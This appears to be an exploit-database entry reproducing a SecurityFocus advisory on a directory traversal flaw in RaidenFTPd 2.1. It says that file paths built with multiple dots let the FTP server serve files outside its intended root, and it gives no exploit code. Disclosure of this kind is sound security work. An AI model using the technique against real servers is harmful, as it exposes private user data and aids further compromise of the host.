RaidenFTPd 2.1 - Directory Traversal

source: https://www.securityfocus.com/bid/2655/info

Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths.

If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host.
